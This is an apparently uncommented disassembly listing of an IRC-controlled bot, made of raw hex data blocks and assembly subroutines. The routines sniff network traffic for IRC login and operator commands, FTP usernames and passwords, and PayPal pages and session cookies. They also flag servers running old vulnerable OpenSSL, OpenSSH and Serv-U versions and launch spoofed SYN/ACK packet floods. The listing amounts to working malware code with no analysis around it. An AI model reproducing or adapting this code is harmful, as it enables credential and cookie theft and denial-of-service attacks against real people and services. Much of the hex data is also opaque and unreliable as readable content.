0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF4015FFh dd 0BB004Ch, 6A000002h, 77E89008h, 0FF0225F1h, 4CAF2815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434EB4h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46EC0845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E9C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E8868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434E1C08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2CE02BE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h, 4589026Ah dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h, 3815FF5Dh dd 50004CAFh, 0FD4C858Dh, 2468FFFFh, 50004358h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 0DF56E890h, 458B022Ch, 69106AD0h, 234C0h dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 4357F868h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022CDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h dd 68FFFFFDh, 4357C8h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 0DE4EE890h, 0BB53022Ch, 434EE0h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0BC68FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 57AC68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h dd 8B7F048Dh, 4EF4C504h, 34FF0043h, 434ED085h, 4C858D00h dd 68FFFFFDh, 435778h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh dd 43574C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2CDCAFE8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDD10, eax mov eax, offset dword_4CDD10 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAFB8 lea eax, [ebp+var_3B8] push eax call dword_4CB028 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFD0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF38 push eax lea eax, [ebp+var_2B8] push offset unk_435AF8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26E0000h nop loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF50 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF38 push eax lea eax, [ebp+var_2B8] push offset unk_435AC8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAFBC cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A94 jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A60 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A2C jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359F4 loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4359BC jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 227DB56h dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5B2468FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 2CD4FBE8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAF14 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB048 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF84 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAFA4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAFA4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAFA4 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAFA4 push 12345678h mov [ebp+var_14], ax call dword_4CAFA0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAFA4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27A0000h lea eax, [ebp+var_1C] push eax nop call near ptr 2790982h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAFA4 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAFA4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAFA0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAFA4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CB008 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 2790982h nop mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF38 push eax lea eax, [ebp+var_F4] push offset dword_435B4C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB03C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAEFC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword 